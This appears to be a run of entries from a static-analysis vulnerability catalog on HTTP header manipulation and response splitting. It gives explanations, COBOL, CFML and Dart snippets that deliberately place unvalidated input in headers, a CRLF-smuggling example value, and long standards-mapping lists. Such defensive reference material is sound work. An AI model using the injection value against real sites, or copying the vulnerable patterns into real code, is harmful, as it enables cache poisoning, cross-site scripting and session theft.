[7] Standards Mapping - CIS Google Kubernetes Engine Benchmark integrity
[8] Standards Mapping - CIS Kubernetes Benchmark partial
[9] Standards Mapping - Common Weakness Enumeration CWE ID 113
[10] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-002754
[11] Standards Mapping - FIPS200 SI
[12] Standards Mapping - General Data Protection Regulation (GDPR) Indirect Access to Sensitive Data
[13] Standards Mapping - NIST Special Publication 800-53 Revision 4 SI-10 Information Input Validation (P1)
[14] Standards Mapping - NIST Special Publication 800-53 Revision 5 SI-10 Information Input Validation
[15] Standards Mapping - OWASP Top 10 2004 A1 Unvalidated Input
[16] Standards Mapping - OWASP Top 10 2007 A2 Injection Flaws
[17] Standards Mapping - OWASP Top 10 2010 A1 Injection
[18] Standards Mapping - OWASP Top 10 2013 A1 Injection
[19] Standards Mapping - OWASP Top 10 2017 A1 Injection
[20] Standards Mapping - OWASP Top 10 2021 A03 Injection
[21] Standards Mapping - OWASP Mobile 2014 M8 Security Decisions Via Untrusted Inputs
[22] Standards Mapping - OWASP Mobile 2024 M4 Insufficient Input/Output Validation
[23] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-CODE-4, MASVS-PLATFORM-1
[24] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.1
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.1, Requirement 6.5.2
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.1
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.1
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.1
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.1
[30] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.1
[31] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[32] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection
[33] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation
[34] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation, Control Objective C.3.2 - Web Software Attack Mitigation
[35] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3510 CAT I
[36] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3510 CAT I
[37] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3510 CAT I
[38] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3510 CAT I
[39] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3510 CAT I
[40] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3510 CAT I
[41] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3510 CAT I
[42] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002560 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002560 CAT I
[44] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002560 CAT I
[45] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002560 CAT I
[46] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002560 CAT I
[47] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002560 CAT I
[48] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002560 CAT I
[49] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002560 CAT I
[50] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002560 CAT I
[51] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002560 CAT I
[52] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002560 CAT I
[53] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002560 CAT I
[54] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002560 CAT I
[55] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[56] Standards Mapping - Web Application Security Consortium Version 2.00 HTTP Response Splitting (WASC-25)
[57] Standards Mapping - Web Application Security Consortium 24 + 2 HTTP Response Splitting
desc.dataflow.dotnet.header_manipulation
Abstract
Including unvalidated data in an HTTP response header can enable cache-poisoning, cross-site scripting, cross-user defacement or page hijacking attacks.
Explanation
Header Manipulation vulnerabilities occur when:

1. Data enters a web application through an untrusted source, most frequently an HTTP request.

2. The data is included in an HTTP response header sent to a web user without being validated for malicious characters.

As with many software security vulnerabilities, Header Manipulation is a means to an end, not an end in itself. At its root, the vulnerability is straightforward: an attacker passes malicious data to a vulnerable application, and the application includes the data in an HTTP response header.

One of the most common Header Manipulation attacks is HTTP Response Splitting. To mount a successful HTTP Response Splitting exploit, the application must allow input that contains CR (carriage return, also given by %0d or \r) and LF (line feed, also given by %0a or \n)characters into the header. These characters not only give attackers control of the remaining headers and body of the response the application intends to send, but also allows them to create additional responses entirely under their control.

Many of today's modern application servers will prevent the injection of malicious characters into HTTP headers. If your application server prevents setting headers with new line characters, then your application is not vulnerable to HTTP Response Splitting. However, solely filtering for new line characters can leave an application vulnerable to Cookie Manipulation or Open Redirects, so care must still be taken when setting HTTP headers with user input.

Example: The following code segment reads the name of the author of a weblog entry, author, from an HTML form and sets it in a cookie header of an HTTP response.


...
EXEC CICS
WEB READ
FORMFIELD(NAME)
VALUE(AUTHOR)
...
END-EXEC.

EXEC CICS
WEB WRITE
HTTPHEADER(COOKIE)
VALUE(AUTHOR)
...
END-EXEC.
...


Assuming a string consisting of standard alphanumeric characters, such as "Jane Smith", is submitted in the request the HTTP response including this cookie might take the following form:


HTTP/1.1 200 OK
...
Set-Cookie: author=Jane Smith
...


However, because the value of the cookie is formed of unvalidated user input the response will only maintain this form if the value submitted for AUTHOR does not contain any CR and LF characters. If an attacker submits a malicious string, such as "Wiley Hacker\r\nHTTP/1.1 200 OK\r\n...", then the HTTP response would be split into two responses of the following form:


HTTP/1.1 200 OK
...
Set-Cookie: author=Wiley Hacker

HTTP/1.1 200 OK
...


Clearly, the second response is completely controlled by the attacker and can be constructed with any header and body content desired. The ability of attacker to construct arbitrary HTTP responses permits a variety of resulting attacks, including: cross-user defacement, web and browser cache poisoning, cross-site scripting, and page hijacking.

Cross-User Defacement: An attacker will be able to make a single request to a vulnerable server that will cause the server to create two responses, the second of which may be misinterpreted as a response to a different request, possibly one made by another user sharing the same TCP connection with the server. This can be accomplished by convincing the user to submit the malicious request themselves, or remotely in situations where the attacker and the user share a common TCP connection to the server, such as a shared proxy server. In the best case, an attacker may leverage this ability to convince users that the application has been hacked, causing users to lose confidence in the security of the application. In the worst case, an attacker may provide specially crafted content designed to mimic the behavior of the application but redirect private information, such as account numbers and passwords, back to the attacker.

Cache Poisoning: The impact of a maliciously constructed response can be magnified if it is cached either by a web cache used by multiple users or even the browser cache of a single user. If a response is cached in a shared web cache, such as those commonly found in proxy servers, then all users of that cache will continue receive the malicious content until the cache entry is purged. Similarly, if the response is cached in the browser of an individual user, then that user will continue to receive the malicious content until the cache entry is purged, although only the user of the local browser instance will be affected.

Cross-Site Scripting: Once attackers have control of the responses sent by an application, they have a choice of a variety of malicious content to provide users. Cross-site scripting is common form of attack where malicious JavaScript or other code included in a response is executed in the user's browser. The variety of attacks based on XSS is almost limitless, but they commonly include transmitting private data such as cookies or other session information to the attacker, redirecting the victim to web content controlled by the attacker, or performing other malicious operations on the user's machine under the guise of the vulnerable site. The most common and dangerous attack vector against users of a vulnerable application uses JavaScript to transmit session and authentication information back to the attacker who can then take complete control of the victim's account.

Page Hijacking: In addition to using a vulnerable application to send malicious content to a user, the same root vulnerability can also be leveraged to redirect sensitive content generated by the server and intended for the user to the attacker instead. By submitting a request that results in two responses, the intended response from the server and the response generated by the attacker, an attacker may cause an intermediate node, such as a shared proxy server, to misdirect a response generated by the server for the user to the attacker. Because the request made by the attacker generates two responses, the first is interpreted as a response to the attacker's request, while the second remains in limbo. When the user makes a legitimate request through the same TCP connection, the attacker's request is already waiting and is interpreted as a response to the victim's request. The attacker then sends a second request to the server, to which the proxy server responds with the server generated request intended for the victim, thereby compromising any sensitive information in the headers or body of the response intended for the victim.

Cookie Manipulation: When combined with attacks like Cross-Site Request Forgery, attackers may change, add to, or even overwrite a legitimate user's cookies.

Open Redirect: Allowing unvalidated input to control the URL used in a redirect can aid phishing attacks.
References
[1] A. Klein Divide and Conquer: HTTP Response Splitting, Web Cache Poisoning Attacks, and Related Topics
[2] D. Crab HTTP Response Splitting
[3] Standards Mapping - CIS Azure Kubernetes Service Benchmark 3.0
[4] Standards Mapping - CIS Microsoft Azure Foundations Benchmark partial
[5] Standards Mapping - CIS Amazon Elastic Kubernetes Service Benchmark 4.0
[6] Standards Mapping - CIS Amazon Web Services Foundations Benchmark 1
[7] Standards Mapping - CIS Google Kubernetes Engine Benchmark integrity
[8] Standards Mapping - CIS Kubernetes Benchmark partial
[9] Standards Mapping - Common Weakness Enumeration CWE ID 113
[10] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-002754
[11] Standards Mapping - FIPS200 SI
[12] Standards Mapping - General Data Protection Regulation (GDPR) Indirect Access to Sensitive Data
[13] Standards Mapping - NIST Special Publication 800-53 Revision 4 SI-10 Information Input Validation (P1)
[14] Standards Mapping - NIST Special Publication 800-53 Revision 5 SI-10 Information Input Validation
[15] Standards Mapping - OWASP Top 10 2004 A1 Unvalidated Input
[16] Standards Mapping - OWASP Top 10 2007 A2 Injection Flaws
[17] Standards Mapping - OWASP Top 10 2010 A1 Injection
[18] Standards Mapping - OWASP Top 10 2013 A1 Injection
[19] Standards Mapping - OWASP Top 10 2017 A1 Injection
[20] Standards Mapping - OWASP Top 10 2021 A03 Injection
[21] Standards Mapping - OWASP Mobile 2014 M8 Security Decisions Via Untrusted Inputs
[22] Standards Mapping - OWASP Mobile 2024 M4 Insufficient Input/Output Validation
[23] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-CODE-4, MASVS-PLATFORM-1
[24] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.1
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.1, Requirement 6.5.2
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.1
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.1
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.1
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.1
[30] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.1
[31] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[32] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection
[33] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation
[34] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation, Control Objective C.3.2 - Web Software Attack Mitigation
[35] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3510 CAT I
[36] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3510 CAT I
[37] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3510 CAT I
[38] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3510 CAT I
[39] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3510 CAT I
[40] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3510 CAT I
[41] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3510 CAT I
[42] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002560 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002560 CAT I
[44] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002560 CAT I
[45] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002560 CAT I
[46] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002560 CAT I
[47] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002560 CAT I
[48] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002560 CAT I
[49] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002560 CAT I
[50] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002560 CAT I
[51] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002560 CAT I
[52] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002560 CAT I
[53] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002560 CAT I
[54] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002560 CAT I
[55] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[56] Standards Mapping - Web Application Security Consortium Version 2.00 HTTP Response Splitting (WASC-25)
[57] Standards Mapping - Web Application Security Consortium 24 + 2 HTTP Response Splitting
desc.dataflow.cobol.header_manipulation
Abstract
Including unvalidated data in an HTTP response header can enable cache-poisoning, cross-site scripting, cross-user defacement, page hijacking, cookie manipulation or open redirect.
Explanation
Header Manipulation vulnerabilities occur when:

1. Data enters a web application through an untrusted source, most frequently a web request.

2. The data is included in an HTTP response header sent to a web user without being validated.

As with many software security vulnerabilities, Header Manipulation is a means to an end, not an end in itself. At its root, the vulnerability is straightforward: an attacker passes malicious data to a vulnerable application, and the application includes the data in an HTTP response header.

One of the most common Header Manipulation attacks is HTTP Response Splitting. To mount a successful HTTP Response Splitting exploit, the application must allow input that contains CR (carriage return, also given by %0d or \r) and LF (line feed, also given by %0a or \n)characters into the header. These characters not only give attackers control of the remaining headers and body of the response the application intends to send, but also allows them to create additional responses entirely under their control.

Many of today's modern application servers will prevent the injection of malicious characters into HTTP headers. For example, recent versions of Apache Tomcat will throw an IllegalArgumentException if you attempt to set a header with prohibited characters. If your application server prevents setting headers with new line characters, then your application is not vulnerable to HTTP Response Splitting. However, solely filtering for new line characters can leave an application vulnerable to Cookie Manipulation or Open Redirects, so care must still be taken when setting HTTP headers with user input.

Example: The following code segment reads the name of the author of a weblog entry, author, from a web form and sets it in a cookie header of an HTTP response.


<cfcookie name = "author"
value = "#Form.author#"
expires = "NOW">


Assuming a string consisting of standard alphanumeric characters, such as "Jane Smith", is submitted in the request the HTTP response including this cookie might take the following form:


HTTP/1.1 200 OK
...
Set-Cookie: author=Jane Smith
...


However, because the value of the cookie is formed of unvalidated user input the response will only maintain this form if the value submitted for AUTHOR_PARAM does not contain any CR and LF characters. If an attacker submits a malicious string, such as "Wiley Hacker\r\nHTTP/1.1 200 OK\r\n...", then the HTTP response would be split into two responses of the following form:


HTTP/1.1 200 OK
...
Set-Cookie: author=Wiley Hacker

HTTP/1/1 200 OK
...


Clearly, the second response is completely controlled by the attacker and can be constructed with any header and body content desired. The ability of attacker to construct arbitrary HTTP responses permits a variety of resulting attacks, including: cross-user defacement, web and browser cache poisoning, cross-site scripting, and page hijacking.

Cross-User Defacement: An attacker will be able to make a single request to a vulnerable server that will cause the sever to create two responses, the second of which may be misinterpreted as a response to a different request, possibly one made by another user sharing the same TCP connection with the sever. This can be accomplished by convincing the user to submit the malicious request themselves, or remotely in situations where the attacker and the user share a common TCP connection to the server, such as a shared proxy server. In the best case, an attacker may leverage this ability to convince users that the application has been hacked, causing users to lose confidence in the security of the application. In the worst case, an attacker may provide specially crafted content designed to mimic the behavior of the application but redirect private information, such as account numbers and passwords, back to the attacker.

Cache Poisoning: The impact of a maliciously constructed response can be magnified if it is cached either by a web cache used by multiple users or even the browser cache of a single user. If a response is cached in a shared web cache, such as those commonly found in proxy servers, then all users of that cache will continue receive the malicious content until the cache entry is purged. Similarly, if the response is cached in the browser of an individual user, then that user will continue to receive the malicious content until the cache entry is purged, although only the user of the local browser instance will be affected.

Cross-Site Scripting: Once attackers have control of the responses sent by an application, they have a choice of a variety of malicious content to provide users. Cross-site scripting is common form of attack where malicious JavaScript or other code included in a response an executed in the user's browser. The variety of attacks based on XSS is almost limitless, but they commonly include transmitting private data such as cookies or other session information to the attacker, redirecting the victim to web content controlled by the attacker, or performing other malicious operations on the user's machine under the guise of the vulnerable site. The most common and dangerous attack vector against users of a vulnerable application uses JavaScript to transmit session and authentication information back to the attacker who can then take complete control of the victim's account.

Page Hijacking: In addition to using a vulnerable application to send malicious content to a user, the same root vulnerability can also be leveraged to redirect sensitive content generated by the server and intended for the user to the attacker instead. By submitting a request that results in two responses, the intended response from the server and the response generated by the attacker, an attacker may cause an intermediate node, such as a shared proxy server, to misdirect a response generated by the server for the user to the attacker. Because the request made by the attacker generates two responses, the first is interpreted as a response to the attacker's request, while the second remains in limbo. When the user makes a legitimate request through the same TCP connection, the attacker's request is already waiting and is interpreted as a response to the victim's request. The attacker then sends a second request to the server, to which the proxy server responds with the server generated request intended for the victim, thereby compromising any sensitive information in the headers or body of the response intended for the victim.

Cookie Manipulation: When combined with attacks like Cross-Site Request Forgery, attackers may change, add to, or even overwrite a legitimate user's cookies.

Open Redirect: Allowing unvalidated input to control the URL used in a redirect can aid phishing attacks.
References
[1] Amit Klein Divide and Conquer: HTTP Response Splitting, Web Cache Poisoning Attacks, and Related Topics
[2] Diabolic Crab HTTP Response Splitting
[3] Standards Mapping - CIS Azure Kubernetes Service Benchmark 3.0
[4] Standards Mapping - CIS Microsoft Azure Foundations Benchmark partial
[5] Standards Mapping - CIS Amazon Elastic Kubernetes Service Benchmark 4.0
[6] Standards Mapping - CIS Amazon Web Services Foundations Benchmark 1
[7] Standards Mapping - CIS Google Kubernetes Engine Benchmark integrity
[8] Standards Mapping - CIS Kubernetes Benchmark partial
[9] Standards Mapping - Common Weakness Enumeration CWE ID 113
[10] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-002754
[11] Standards Mapping - FIPS200 SI
[12] Standards Mapping - General Data Protection Regulation (GDPR) Indirect Access to Sensitive Data
[13] Standards Mapping - NIST Special Publication 800-53 Revision 4 SI-10 Information Input Validation (P1)
[14] Standards Mapping - NIST Special Publication 800-53 Revision 5 SI-10 Information Input Validation
[15] Standards Mapping - OWASP Top 10 2004 A1 Unvalidated Input
[16] Standards Mapping - OWASP Top 10 2007 A2 Injection Flaws
[17] Standards Mapping - OWASP Top 10 2010 A1 Injection
[18] Standards Mapping - OWASP Top 10 2013 A1 Injection
[19] Standards Mapping - OWASP Top 10 2017 A1 Injection
[20] Standards Mapping - OWASP Top 10 2021 A03 Injection
[21] Standards Mapping - OWASP Mobile 2014 M8 Security Decisions Via Untrusted Inputs
[22] Standards Mapping - OWASP Mobile 2024 M4 Insufficient Input/Output Validation
[23] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-CODE-4, MASVS-PLATFORM-1
[24] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.1
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.1, Requirement 6.5.2
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.1
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.1
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.1
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.1
[30] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.1
[31] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[32] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection
[33] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation
[34] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation, Control Objective C.3.2 - Web Software Attack Mitigation
[35] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3510 CAT I
[36] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3510 CAT I
[37] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3510 CAT I
[38] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3510 CAT I
[39] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3510 CAT I
[40] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3510 CAT I
[41] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3510 CAT I
[42] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002560 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002560 CAT I
[44] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002560 CAT I
[45] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002560 CAT I
[46] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002560 CAT I
[47] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002560 CAT I
[48] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002560 CAT I
[49] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002560 CAT I
[50] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002560 CAT I
[51] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002560 CAT I
[52] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002560 CAT I
[53] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002560 CAT I
[54] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002560 CAT I
[55] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[56] Standards Mapping - Web Application Security Consortium Version 2.00 HTTP Response Splitting (WASC-25)
[57] Standards Mapping - Web Application Security Consortium 24 + 2 HTTP Response Splitting
desc.dataflow.cfml.header_manipulation
Abstract
Including unvalidated data in an HTTP response header can enable cache-poisoning, cross-site scripting, cross-user defacement, page hijacking, cookie manipulation or open redirect.
Explanation
Header Manipulation vulnerabilities occur when:

1. Data enters a web application through an untrusted source, most frequently an HTTP request.

2. The data is included in an HTTP response header sent to a web user without validation.

As with many software security vulnerabilities, Header Manipulation is a means to an end, not an end in itself. At its root, the vulnerability is straightforward: an attacker passes malicious data to a vulnerable application, and the application includes the data in an HTTP response header.

One of the most common Header Manipulation attacks is HTTP Response Splitting. To mount a successful HTTP Response Splitting exploit, the application must allow input that contains CR (carriage return, also given by %0d or \r) and LF (line feed, also given by %0a or \n)characters into the header. These characters not only give attackers control of the remaining headers and body of the response the application intends to send, but also allows them to create additional responses entirely under their control.

Many of today's modern application servers will prevent the injection of malicious characters into HTTP headers. For example, recent versions of Apache Tomcat will throw an IllegalArgumentException if you attempt to set a header with prohibited characters. If your application server prevents setting headers with new line characters, then your application is not vulnerable to HTTP Response Splitting. However, solely filtering for new line characters can leave an application vulnerable to Cookie Manipulation or Open Redirects, so care must still be taken when setting HTTP headers with user input.

Example: The following code segment reads the 'content-type' from an HTTP request and sets it in a header of an new HTTP request.


final server = await HttpServer.bind('localhost', 18081);
server.listen((request) async {
final headers = request.headers;
final contentType = headers.value('content-type');
final client = HttpClient();
final clientRequest = await client.getUrl(Uri.parse('https://example.com'));
clientRequest.headers.add('Content-Type', contentType as Object);
});


Because the value of the 'Content-Type' header is formed of unvalidated user input, it can be manipulated by malicious actors to exploit vulnerabilities, execute code injection attacks, expose sensitive data, enable malicious file execution, or trigger denial of service situations, posing significant risks to the application's security and stability.
References
[1] Standards Mapping - CIS Azure Kubernetes Service Benchmark 3.0
[2] Standards Mapping - CIS Microsoft Azure Foundations Benchmark partial
[3] Standards Mapping - CIS Amazon Elastic Kubernetes Service Benchmark 4.0
[4] Standards Mapping - CIS Amazon Web Services Foundations Benchmark 1
[5] Standards Mapping - CIS Google Kubernetes Engine Benchmark integrity
[6] Standards Mapping - CIS Kubernetes Benchmark partial
[7] Standards Mapping - Common Weakness Enumeration CWE ID 113
[8] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-002754
[9] Standards Mapping - FIPS200 SI
[10] Standards Mapping - General Data Protection Regulation (GDPR) Indirect Access to Sensitive Data
[11] Standards Mapping - NIST Special Publication 800-53 Revision 4 SI-10 Information Input Validation (P1)
[12] Standards Mapping - NIST Special Publication 800-53 Revision 5 SI-10 Information Input Validation
[13] Standards Mapping - OWASP Top 10 2004 A1 Unvalidated Input
[14] Standards Mapping - OWASP Top 10 2007 A2 Injection Flaws
[15] Standards Mapping - OWASP Top 10 2010 A1 Injection
[16] Standards Mapping - OWASP Top 10 2013 A1 Injection
[17] Standards Mapping - OWASP Top 10 2017 A1 Injection
[18] Standards Mapping - OWASP Top 10 2021 A03 Injection
[19] Standards Mapping - OWASP Mobile 2014 M8 Security Decisions Via Untrusted Inputs
[20] Standards Mapping - OWASP Mobile 2024 M4 Insufficient Input/Output Validation
[21] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-CODE-4, MASVS-PLATFORM-1
[22] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.1
[23] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.1, Requirement 6.5.2
[24] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.1
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.1
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.1
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.1
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.1
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[30] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection
[31] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation
[32] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation, Control Objective C.3.2 - Web Software Attack Mitigation
[33] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3510 CAT I
[34] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3510 CAT I
[35] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3510 CAT I
[36] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3510 CAT I
[37] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3510 CAT I
[38] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3510 CAT I
[39] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3510 CAT I
[40] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002560 CAT I
[41] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002560 CAT I
[42] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002560 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002560 CAT I
[44] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002560 CAT I
[45] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002560 CAT I
[46] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002560 CAT I
[47] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002560 CAT I
[48] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002560 CAT I
[49] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002560 CAT I
[50] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002560 CAT I
[51] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002560 CAT I
[52] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002560 CAT I
[53] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[54] Standards Mapping - Web Application Security Consortium Version 2.00 HTTP Response Splitting (WASC-25)
[55] Standards Mapping - Web Application Security Consortium 24 + 2 HTTP Response Splitting
desc.dataflow.dart.header_manipulation
Abstract
Including unvalidated data in an HTTP response header can enable cache-poisoning, cross-site scripting, cross-user defacement, page hijacking, cookie manipulation, or open redirect.
Explanation
Header Manipulation vulnerabilities occur when:

1. Data enters a web application through an untrusted source, most frequently an HTTP request.

2. The data is included in an HTTP response header sent to a web user without being validated.

